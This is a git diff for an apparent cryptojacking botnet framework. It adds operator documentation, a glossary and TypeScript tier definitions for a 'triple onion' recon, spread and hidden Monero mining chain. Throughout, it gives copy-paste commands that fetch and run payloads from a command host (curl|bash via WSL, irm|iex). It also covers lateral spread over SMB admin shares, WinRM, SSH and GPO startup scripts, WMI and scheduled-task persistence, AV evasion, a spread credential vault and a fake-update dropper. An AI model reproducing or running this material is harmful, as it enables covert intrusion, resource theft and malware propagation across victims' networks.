diff --git a/README.md b/README.md index 797bbfb..36366a6 100644 --- a/README.md +++ b/README.md @@ -381,6 +381,25 @@ Every agent operation is **completely silent** — no CMD windows, no PowerShell --- +## LOTL triple onion architecture + +AetherForge chains **recon → deploy → mining** using living-off-the-land tiers only (no third-party droppers in the default preset). Forge **LOTL Onion** bakes spread contingencies; the agent pulls live tier order from Calibrate on connect. + +```mermaid +flowchart LR + R[Recon
vuln_recon · service_probe] --> G{patch_first / risk gates} + G -->|defer| X[Skip deploy or mining] + G -->|proceed| D[Deploy lanes
discover_and_join → bits_curl → smb → winrm] + D --> M[Mining tiers
container → inprocess → gpu → stratum_direct] + M --> T[Telemetry
lotl_tier · lotl_attempts · mining_hashrate] +``` + +Sequential tier attempts: try tier → on fail/skip → next tier until success or exhaustion (`lotl_attempts` audit trail). + +**Full glossary** (every vector, definition, copy-paste example): [`tests/README.md`](tests/README.md#lotl-vector-glossary) · **Spread playbook**: [`/docs/SPREAD_TECHNIQUES.html`](server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion) · **Recon test subset**: `scripts/test-suite.ps1 -ReconOnly` + +--- + ## Project Layout ``` diff --git a/docs/SPREAD_TECHNIQUES.md b/docs/SPREAD_TECHNIQUES.md index 73b3693..460cbe3 100644 --- a/docs/SPREAD_TECHNIQUES.md +++ b/docs/SPREAD_TECHNIQUES.md @@ -1,9 +1,34 @@ # Web-Mediated Spread Techniques -Canonical copy (served at `/docs/SPREAD_TECHNIQUES.md` on a running command deck): +Canonical operator playbook (served at `/docs/SPREAD_TECHNIQUES.html` on a running command deck): -**[`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)** +**[`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)** -Tabbed operator playbook (HTML): [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html) +Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md) -Edit the public docs files above — this stub avoids drifting duplicates in `docs/`. +Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`. + +## Master test doc + full glossary + +Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in: + +**[`tests/README.md`](../tests/README.md)** — sections [LOTL architecture (triple onion)](../tests/README.md#lotl-architecture-triple-onion) and [LOTL vector glossary](../tests/README.md#lotl-vector-glossary). + +Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture). + +## Mini glossary (spread tiers) + +| Tier | One-line | Example | +|------|----------|---------| +| `vuln_recon` | Read-only KEV/CVE probe before spread | Triple-onion recon or `full_sys_check` | +| `docker` | Container-isolated RandomX | `com.docker.service` → `docker_load` join lane | +| `wsl` | WSL curl\|bash when Windows blocked | `wsl -e bash -c "curl … \| bash"` | +| `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` | +| `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` | +| `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest | +| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with `\\host\share\worker.exe` | +| `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` | +| `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` | +| `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` | + +TypeScript source of truth for tier docs: [`server/web/src/help/lotlOnionTiers.ts`](../server/web/src/help/lotlOnionTiers.ts). diff --git a/server/web/public/docs/SPREAD_TECHNIQUES.html b/server/web/public/docs/SPREAD_TECHNIQUES.html index fbf1e3c..d63a851 100644 --- a/server/web/public/docs/SPREAD_TECHNIQUES.html +++ b/server/web/public/docs/SPREAD_TECHNIQUES.html @@ -386,18 +386,58 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex server.lotl_onion_tiers in Calibrate on WebSocket auth — no re-forge to reorder.

- + - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TierOne-line
TierDefinitionExample
vuln reconRead-only KEV/CVE/service probe — report-only, no exploit
dockerContainer worker image — isolated RandomX, no host miner exe drop
wslWSL curl|bash one-liner when native Windows path is blocked
powershellPS remoting / hidden install.ps1 from your C2 origin
dotnetdotnet tool-run bootstrap — no standalone payload exe
bits/curlBITS transfer or curl|bash to /install.ps1 — fileless fetch
smbadmin$ / C$ copy + SCM — classic lateral on open 445
winrmOpportunistic PS remoting when 5985/5986 responds
linuxSSH lateral on Unix agents — same wallet, no extra drop
gpoDomain startup/logon script push — operator-owned AD only
vuln_reconRead-only KEV/CVE/service probe before spread — report-only, no exploit. Feeds vuln_findings and patch_first gates.Automatic triple-onion recon tier, or Crucible full_sys_check → risk badge on next stats_batch.
dockerDeploy or mine inside Docker/Podman — isolated RandomX, no host miner exe drop.Service allowlist maps com.docker.servicedocker_load; Probe & Join when Docker is running.
wslWSL curl|bash one-liner when native Windows execution is blocked.wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"
powershellHidden PS bootstrap or remoting from your C2 origin — no standalone payload exe.irm https://deck.example/install.ps1?pin=BUILD_ID&c=lab | iex — WinRM template export.
dotnetdotnet tool run bootstrap — avoids a lone unsigned miner exe on disk.Forge miner_execution=dotnet; spread lane runs dotnet bootstrap from install manifest.
bits_curlBITS (bitsadmin) or curl.exe staging — optional certutil -decode, SHA256 verify, launch.Crucible stage_fetch: {"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"}
smb (spread_smb_unc)admin$ / C$ lateral via sc.exe + net.exe on open port 445 — no PsExec.{"action":"spread_smb_unc","path":"\\\\forge-host\\pathforge$\\worker.exe"}
winrmOpportunistic PS remoting when 5985/5986 responds on subnet peers.POST /api/v1/builder/spread-template-export {"template":"winrm","com_hijack":false}
linux (linux_lotl)SSH/SCP lateral on Unix agents — same wallet; optional systemd-run or crontab persistence.{"template":"linux-lotl","lotl_mode":"both"}lotl-bootstrap.sh + autospread_unix.go.
gpoAD Group Policy startup script pulls worker on boot — mining policy stays on command deck.Export {"template":"gpo"} → Computer Configuration → Scripts → Startup → gpo-startup.ps1. Intune: {"template":"intune"}.

Forge steps

diff --git a/server/web/src/help/lotlOnionTiers.test.ts b/server/web/src/help/lotlOnionTiers.test.ts index 36fb47e..40cdcce 100644 --- a/server/web/src/help/lotlOnionTiers.test.ts +++ b/server/web/src/help/lotlOnionTiers.test.ts @@ -8,8 +8,8 @@ describe('lotlOnionTiers', () => { expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo'); }); - it('documents each tier with a one-line hint', () => { + it('documents each tier with hint, definition, and example', () => { expect(LOTL_ONION_TIER_DOCS).toHaveLength(10); - expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true); + expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint && t.definition && t.example)).toBe(true); }); }); diff --git a/server/web/src/help/lotlOnionTiers.ts b/server/web/src/help/lotlOnionTiers.ts index 3430ac7..72205c1 100644 --- a/server/web/src/help/lotlOnionTiers.ts +++ b/server/web/src/help/lotlOnionTiers.ts @@ -20,19 +20,103 @@ export interface LotlOnionTierDoc { label: string; /** One-line operator hint for playbook tabs */ hint: string; + /** Plain-language definition for glossary and Forge docs */ + definition: string; + /** Copy-pasteable CLI, Crucible command, or Forge preset example */ + example: string; } export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [ - { id: 'vuln_recon', label: 'Vuln Recon', hint: 'Read-only KEV/CVE/service probe — report-only, no exploit' }, - { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' }, - { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' }, - { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' }, - { id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' }, - { id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' }, - { id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' }, - { id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' }, - { id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' }, - { id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' }, + { + id: 'vuln_recon', + label: 'Vuln Recon', + hint: 'Read-only KEV/CVE/service probe — report-only, no exploit', + definition: + 'Runs a read-only vulnerability and posture scan on the host before any spread or mining. Findings feed risk badges and triple-onion gates; no exploit payloads are sent.', + example: + 'Triple-onion recon tier (automatic on connect) or Crucible: `POST /api/v1/agents/{id}/command` `{"action":"full_sys_check"}` — `vuln_findings` appear in WS `stats_batch`.', + }, + { + id: 'docker', + label: 'Docker', + hint: 'Container worker image — isolated RandomX, no host miner exe drop', + definition: + 'Deploys or mines inside an OCI container (Docker/Podman) so RandomX runs isolated from the host filesystem — useful when AV blocks dropped exes.', + example: + 'Forge LOTL Onion preset (`lotl_onion_enabled`) + Calibrate `service_deploy_allowlist` maps `com.docker.service` → `docker_load`. Probe & Join picks lane when Docker service is running.', + }, + { + id: 'wsl', + label: 'WSL', + hint: 'WSL curl|bash one-liner when native Windows path is blocked', + definition: + 'Uses Windows Subsystem for Linux to fetch and run the Linux worker via curl|bash when native Windows execution is blocked or unavailable.', + example: + 'Autospread WSL path: `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash"` (baked when WSL is detected).', + }, + { + id: 'powershell', + label: 'PowerShell', + hint: 'PS remoting / hidden install.ps1 from your C2 origin', + definition: + 'Stages the worker with PowerShell — hidden window, encoded bootstrap, or PS remoting — without dropping a standalone miner exe on disk first.', + example: + 'WinRM template one-liner: `irm https://deck.example/install.ps1?pin=BUILD_ID&c=lab | iex` — export via `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`.', + }, + { + id: 'dotnet', + label: 'dotnet', + hint: 'dotnet tool-run bootstrap — no standalone payload exe', + definition: + 'Bootstraps the worker through the .NET CLI (`dotnet tool run` or bundled SDK) so the payload never appears as a lone unsigned exe.', + example: + 'Mining execution tier `dotnet` in fallback chain when `miner_execution=dotnet` at forge; spread lane runs `dotnet` bootstrap from C2 `install.ps1` manifest.', + }, + { + id: 'bits_curl', + label: 'bits/curl', + hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch', + definition: + 'Downloads staged chunks with BITS (`bitsadmin`) or `curl.exe`, optionally decodes via `certutil`, verifies SHA256, then launches — classic fileless staging.', + example: + 'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.', + }, + { + id: 'smb', + label: 'SMB', + hint: 'admin$ / C$ copy + SCM — classic lateral on open 445', + definition: + 'Laterally installs via SMB admin shares (admin$, C$) and Service Control Manager — no PsExec; uses `sc.exe` and `net.exe` LOLBins on open port 445.', + example: + 'Crucible: `{"action":"spread_smb_unc","path":"\\\\\\\\forge-host\\\\pathforge$\\\\worker.exe"}` — or Path Tracer `POST /api/v1/pathtrace/spread` with `unc_path`.', + }, + { + id: 'winrm', + label: 'WinRM', + hint: 'Opportunistic PS remoting when 5985/5986 responds', + definition: + 'Uses Windows Remote Management (ports 5985/5986) to run encoded install bootstrap on subnet peers when remoting is enabled.', + example: + 'Autospread when `winrm_spread` forge flag set; manual: `winrs -r:TARGET hostname` then encoded bootstrap. Template export: `{"template":"winrm","com_hijack":false}`.', + }, + { + id: 'linux', + label: 'Linux', + hint: 'SSH lateral on Unix agents — same wallet, no extra drop', + definition: + 'SSH/SCP lateral spread on Linux/macOS agents using passwordless keys — same XMR wallet, optional systemd-run or crontab LOTL persistence.', + example: + '`autospread_unix.go` lateral: `scp worker user@10.0.0.5:/tmp/ && ssh user@10.0.0.5 ./worker --spread-install --defer-mining`. Export: `{"template":"linux-lotl","lotl_mode":"both"}`.', + }, + { + id: 'gpo', + label: 'GPO', + hint: 'Domain startup/logon script push — operator-owned AD only', + definition: + 'Group Policy startup script pulls the worker from your command deck on domain boot — mining policy stays server-side, not in the GPO blob.', + example: + 'Export `{"template":"gpo"}` → deploy `gpo-startup.ps1` under Computer Configuration → Scripts → Startup. Intune sibling: `{"template":"intune"}`.', + }, ]; export function lotlTierDocUrl(tier: LotlOnionTierId): string { diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index d851b7d..876f5b4 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -1381,7 +1381,9 @@ export default function BuilderPage() { diff --git a/tests/README.md b/tests/README.md index 9ca705a..a06815f 100644 --- a/tests/README.md +++ b/tests/README.md @@ -34,8 +34,8 @@ Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-Ski ## Operator quick start (LOTL + fleet recon) -1. **Forge with LOTL Onion** — Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth — **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. -2. **Probe & Join** — Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. +1. **Forge with LOTL Onion** — Forge → Operation mode → **LOTL Onion** (in-process RandomX, native-tool spread chain). Set your **XMR wallet** and forge once. With `lotl_policy_from_server` on (preset default), tier order comes from Calibrate `server.lotl_onion_tiers` on agent auth — **re-forge only when changing wallet, build, or preset flags**, not to reorder tiers. See [LOTL vector glossary](#lotl-vector-glossary) for every tier definition + example. +2. **Probe & Join** — Crucible → select online node(s) → **Probe & Join** (`discover_and_join`). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows: `discover_and_join`, `join_lane`, `service_discover`. 3. **Deployment credentials vault** — For cred-assisted spread (`spread_cred`, SMB/WinRM lanes), add profiles to `data/config.json`: ```json @@ -46,7 +46,145 @@ Phases 5–7 and 7b are skipped with `-SkipBuild`. Phase 8 is skipped with `-Ski Store the password in `data/deployment-creds/.vault` as plain text or `{"password":"..."}` (0600). Never commit vault files. Affinity ordering is covered by `TestOrderDeploymentCredProfiles_Affinity` and `TestLoadDeploymentCredPasswordFromVault`. -See `/docs/SPREAD_TECHNIQUES.html#lotl-onion` for the ten-tier chain and `scripts/test-suite.ps1 -ReconOnly` after landing agents. +Playbook: [`/docs/SPREAD_TECHNIQUES.html#lotl-onion`](../server/web/public/docs/SPREAD_TECHNIQUES.html#lotl-onion). Recon regression: `scripts/test-suite.ps1 -ReconOnly` after landing agents. + +## LOTL architecture (triple onion) + +The **triple onion** chains three phases on every agent connect (when enabled): **recon → deploy → mining**. Policy gates (`patch_first`, `skip_mining_on_high_risk`) can defer deploy or mining when `vuln_findings` exceed thresholds. + +```mermaid +flowchart TB + subgraph recon["Recon phase"] + kev[kev_scan] + vr[vuln_recon] + sp[service_probe] + lp[listen_ports] + kev --> vr --> sp --> lp + end + + subgraph gates["Policy gates"] + pf{patch_first?} + hr{high risk?} + end + + subgraph deploy["Deploy lanes"] + dj[discover_and_join] + d1[docker / docker_load] + d2[wsl / powershell / dotnet] + d3[bits_curl / smb / winrm] + d4[linux / gpo / intune] + dj --> d1 --> d2 --> d3 --> d4 + end + + subgraph mining["Mining execution tiers"] + m1[exe_subprocess] + m2[docker_load / container / wsl] + m3[ps_inmemory / dotnet / cpu_inprocess] + m4[wmi / scheduled_task / webview2_probe] + m5[gpu_compute / gpu_subprocess / linux_pyopencl] + m6[stratum_direct] + m1 --> m2 --> m3 --> m4 --> m5 --> m6 + end + + recon --> pf + pf -->|critical CVE exposed| skip[Skip deploy + mining] + pf -->|clear| hr + hr -->|risk above threshold| mineOnly[Deploy only or skip mining] + hr -->|acceptable| deploy + deploy -->|lane OK| mining + deploy -->|all lanes fail| mining +``` + +Sequential tier attempts within each phase (mining chain shown; spread/deploy lanes behave the same way): + +```mermaid +stateDiagram-v2 + [*] --> TryTier1 + TryTier1 --> Active: tier OK + TryTier1 --> TryTier2: tier failed / skipped + TryTier2 --> Active: tier OK + TryTier2 --> TryTier3: tier failed / skipped + TryTier3 --> Active: tier OK + TryTier3 --> TryTierN: tier failed / skipped + TryTierN --> Active: tier OK + TryTierN --> Exhausted: all tiers failed + Active --> [*]: hashrate reported + Exhausted --> [*]: lotl_attempts logged +``` + +Telemetry from each attempt flows to the dashboard via WebSocket `stats_batch`: `lotl_tier`, `lotl_attempts`, `mining_hashrate`, `stratum_egress`, `join_lane`, `vuln_findings`. + +## LOTL vector glossary + +Every term below has a plain-language definition and a copy-pasteable example (CLI, API, Crucible command, or Forge flag). Canonical spread playbook: [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html). + +### Mining execution tiers + +| Term | Definition | Example | +|------|------------|---------| +| `vuln_recon` | Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates `vuln_findings` and risk score. No exploit payloads. | Triple-onion `recon_tiers` includes `vuln_recon`; or Crucible `full_sys_check` → `vuln_findings` in `stats_batch`. | +| `exe_subprocess` | Default path: launch XMRig (or forged worker) as a hidden child process on the host. | Forge default `miner_execution=subprocess`; diagnostics chain tries `exe_subprocess` first unless AV blocks exe. | +| `docker_load` | Load a pre-built OCI image tar (`docker load -i`) and run RandomX inside with read-only rootfs — no registry pull. | Requires `image_tar_url` in forge policy; mining tier `docker_load` when Docker detected + tar policy set. | +| `container` | Run worker inside Docker/Podman from a pulled or local image — host RandomX paused while container mines. | `miner_execution=container` at forge; chain order: `container` after `docker_load` probe passes. | +| `wsl` | Mine or bootstrap via WSL — Linux curl\|bash or in-WSL RandomX when native Windows path is blocked. | `wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID \| bash"` when WSL is installed. | +| `powershell` / `ps_inmemory` | PowerShell in-memory or hidden-window miner bootstrap — no standalone unsigned exe on disk. | `miner_execution=powershell`; encoded `install.ps1` from `GET /install.ps1?pin=`. | +| `dotnet` | Bootstrap through .NET CLI (`dotnet tool run`) instead of dropping a raw miner exe. | Forge `miner_execution=dotnet`; spread lane `dotnet` in `lotl_onion_tiers`. | +| `cpu_inprocess` | RandomX via embedded `go-randomx` inside the agent process — AV-Safe / LOTL Onion default terminal CPU tier. | Forge Operation mode **LOTL Onion** or `miner_execution=inprocess`; active tier shows `cpu_inprocess` in Crucible badge. | +| `wmi` | Windows WMI event subscription persistence + hidden miner launch via LOLBins. | Mining tier `wmi` in `DefaultWindowsTierOrder()`; attempted when prior tiers fail on Windows. | +| `scheduled_task` | `schtasks` / Task Scheduler hidden miner job — no interactive installer. | Mining tier `scheduled_task`; follows `wmi` in Windows tier slice. | +| `webview2_probe` | Probe WebView2/WebGPU availability before escalating to GPU subprocess — gates `gpu_subprocess`. | Tier `webview2_probe`; skips GPU escalation when WebGPU not exposed. | +| `gpu_compute` | CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. | Tier `gpu_compute`; probes CUDA/HLSL then may fall through to `gpu_subprocess`. | +| `gpu_subprocess` | External GPU miner subprocess (T-Rex / TeamRedMiner) for KawPoW/RVN. | Forge GPU enabled; chain tier `gpu_subprocess` after `webview2_probe` passes. | +| `stratum_direct` | Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. | `stratum_egress=direct` in stats; fallback after 30s C2 outage or terminal chain tier. | +| `linux_pyopencl` | Linux OpenCL probe via `python3 -c "import pyopencl"` before `stratum_direct` when no CUDA. | Inserted by `appendLinuxPyOpenCL` in fallback chain on Linux agents without CUDA. | + +### Spread / deploy lanes + +| Term | Definition | Example | +|------|------------|---------| +| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. | +| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` | +| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. | +| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. | +| `gpo` | AD Group Policy startup script fetches worker on domain boot. | Export `{"template":"gpo"}` → `gpo-startup.ps1` in GPO Scripts → Startup. | +| `intune` | Intune proactive remediation / platform script assignment (enterprise sibling to GPO). | Export `{"template":"intune"}` → assign `intune-startup.ps1` in owned tenant. | +| `stage_fetch` | C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or `rundll32`. | `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"}` | +| `discover_and_join` | Crucible **Probe & Join**: service discovery → server deploy plan → best LOTL lane executes. | Crucible → **Probe & Join** → `discover_and_join` command to selected online nodes. | +| `network_recon` | Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches `network_recon` on egress hop; populates `network_hints`. | +| `service_discover` | Enumerate local + LAN services/ports; feeds `service_graph` and `join_lane_candidate`. | `{"action":"service_discover"}`; Path Tracer merges hop results into `service_graph` API. | + +### Fleet recon + +| Term | Definition | Example | +|------|------------|---------| +| `vuln_findings` | Array of CVE/KEV findings from agent probes — severity, patched status, fleet-context exploitability. | WS `stats_batch` field `vuln_findings`; drives Crucible `RiskBadge`. | +| `cred_edges` | SQLite rows recording cred-assisted spread attempts per host/subnet/profile for affinity ordering. | `spread_cred` success inserts into `cred_edges`; Emberwake credential graph reads aggregated rows. | +| `credential graph` | UI table of cred spread edges grouped by /24 — shows which deployment profiles succeeded where. | Crucible → Spread tab → Credential Graph (`CredentialGraphTable`). | +| `service_graph` | Merged service discovery per host IP — running services, ports, `join_lane_candidate`. | Crucible → Service Graph panel; API `GET /api/v1/pathtrace/service-graph`. | +| `network_hints` | Passive LAN hints (ARP neighbours, DNS SRV, cert SANs) attached to agent stats. | `network_recon` command output merged into `network_hints` on Path Tracer egress hop. | +| `triple onion` | Orchestrated recon → deploy → mining chain with shared `lotl_attempts` telemetry and policy gates. | Server Calibrate `triple_onion_policy`; agent `TripleOnionOrchestrator` in `agent/miner/triple_onion.go`. | +| `patch_first` | Gate: when critical unpatched CVEs are exposed, defer deploy and mining until remediated. | Calibrate `patch_first: true` (default); gate reason `patch_first: critical CVE exposed`. | +| `join_lane` | Last successful `discover_and_join` supply-chain lane id on an agent. | WS `stats_batch` `join_lane`; Emberwake funnel `JoinLaneBadge`. | +| **Probe & Join** | Crucible operator action that runs `discover_and_join` on selected online nodes. | Crucible toolbar → **Probe & Join** button (`CrucibleExpandedOps`). | +| `deployment_credentials` vault | Named cred profiles in `config.json` + password files under `data/deployment-creds/` for SMB/WinRM spread. | See [Operator quick start](#operator-quick-start-lotl--fleet-recon) JSON block; never commit `.vault` files. | + +### C2 / telemetry + +| Term | Definition | Example | +|------|------------|---------| +| `lotl_tier` | Active mining or spread tier id currently hashing or last successful lane. | Crucible `LotlTierBadge` shows `cpu_inprocess`, `container`, etc. from WS stats. | +| `lotl_attempts` | Ordered list of tier tries with `ok`, `error`, `duration_ms`, `wallet` — diagnostic audit trail. | `mining_diagnostics` JSON and `LotlAttemptsList` in Crucible expanded ops. | +| `mining_hashrate` | Live CPU RandomX hashrate (H/s) relayed in `stats_batch` alongside legacy CPU fields. | Dashboard fleet row + `TestMiningStatusRelayCoalescedToStatsBatch`. | +| `stratum_egress` | How shares leave the agent: `c2_ws` (via server proxy), `direct` (pool Stratum), or `none`. | Agent stats `stratum_egress`; visible in mining diagnostics terminal block. | +| `power_management` bulk pause | Fleet-health bulk command category for pausing/resuming hashing across selected online agents. | Fleet toolbar **Pause** → `POST /api/v1/agents/bulk-command` `{"action":"pause"}`; category `power_management`. | + +### Planned / stub (not fully automated E2E) + +| Term | Status | Notes | +|------|--------|-------| +| Full Playwright discover→spread E2E | **Planned** | Vitest covers Probe & Join wiring; no live multi-hop E2E yet (see [Gaps](#gaps-hard-to-unit-test)). | +| SocGholish fake-update lander | **Stub** | Dropper works; branded HTML lander not shipped (`SPREAD_TECHNIQUES.html` third-party table). | +| OAuth redirect / TDS gate | **Needs** | Documented in spread playbook as research-only paths. | ## Run individual suites